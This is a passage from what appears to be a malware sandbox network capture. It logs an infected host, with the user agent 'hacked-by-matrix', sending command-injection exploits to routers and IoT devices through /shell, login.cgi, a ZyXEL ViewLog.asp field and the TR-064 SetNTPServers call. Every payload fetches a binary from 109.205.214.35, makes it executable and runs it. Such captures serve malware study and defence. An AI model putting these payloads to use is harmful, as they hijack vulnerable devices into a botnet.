4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method POST is not allowed for this URL.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:40 GMTContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.13	52714	34.227.37.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.151108027 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:40.254297972 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:40 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.13	39018	210.196.191.79	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.308166027 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:41.227665901 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:41.506509066 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:41 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains Alternates: {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language cs} {length 291}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language de} {length 313}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language en} {length 224}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {language es} {length 268}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language fr} {length 296}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language ga} {length 321}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language it} {length 292}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language ja} {length 317}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language ko} {length 302}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language nl} {length 270}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language nb} {length 288}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {language pl} {length 375}}, {"HTTP_BAD_REQUEST Data Raw: Data Ascii:
Mar 21, 2024 05:17:41.507128954 CET	1286	IN	Data Raw: 68 74 6d 6c 2e 76 61 72 22 20 31 20 7b 74 79 70 65 20 74 65 78 74 2f 68 74 6d 6c 7d 20 7b 63 68 61 72 73 65 74 20 75 74 66 2d 38 7d 20 7b 6c 61 6e 67 75 61 67 65 20 70 74 2d 62 72 7d 20 7b 6c 65 6e 67 74 68 20 33 32 35 7d 7d 2c 20 7b 22 48 54 54 Data Ascii: html.var" 1 {type text/html} {charset utf-8} {language pt-br} {length 325}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset iso-8859-1} {language pt} {length 242}}, {"HTTP_BAD_REQUEST.html.var" 1 {type text/html} {charset utf-8} {lan
Mar 21, 2024 05:17:41.507142067 CET	42	IN	Data Raw: 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: e request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.13	54824	213.52.54.119	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.347358942 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:40.539432049 CET	847	IN	HTTP/1.1 302 Found Date: Thu, 21 Mar 2024 04:17:40 GMT Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Content-Length: 225 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 33 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://127.0.0.1:443/cgi-bin/ViewLog.asp">here</a>.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:40 GMTContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.13	34002	206.238.186.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:40.656100988 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.13	51454	206.217.135.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.076883078 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:41.227639914 CET	914	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:41 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 37 2e 34 2e 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:41 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.13	34350	71.91.21.162	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.230654001 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:45.395920992 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.13	60504	31.136.194.193	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.253909111 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:44.371803999 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:50.519803047 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:02.550808907 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:27.123857975 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.13	46376	82.66.80.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.395085096 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:42.264002085 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
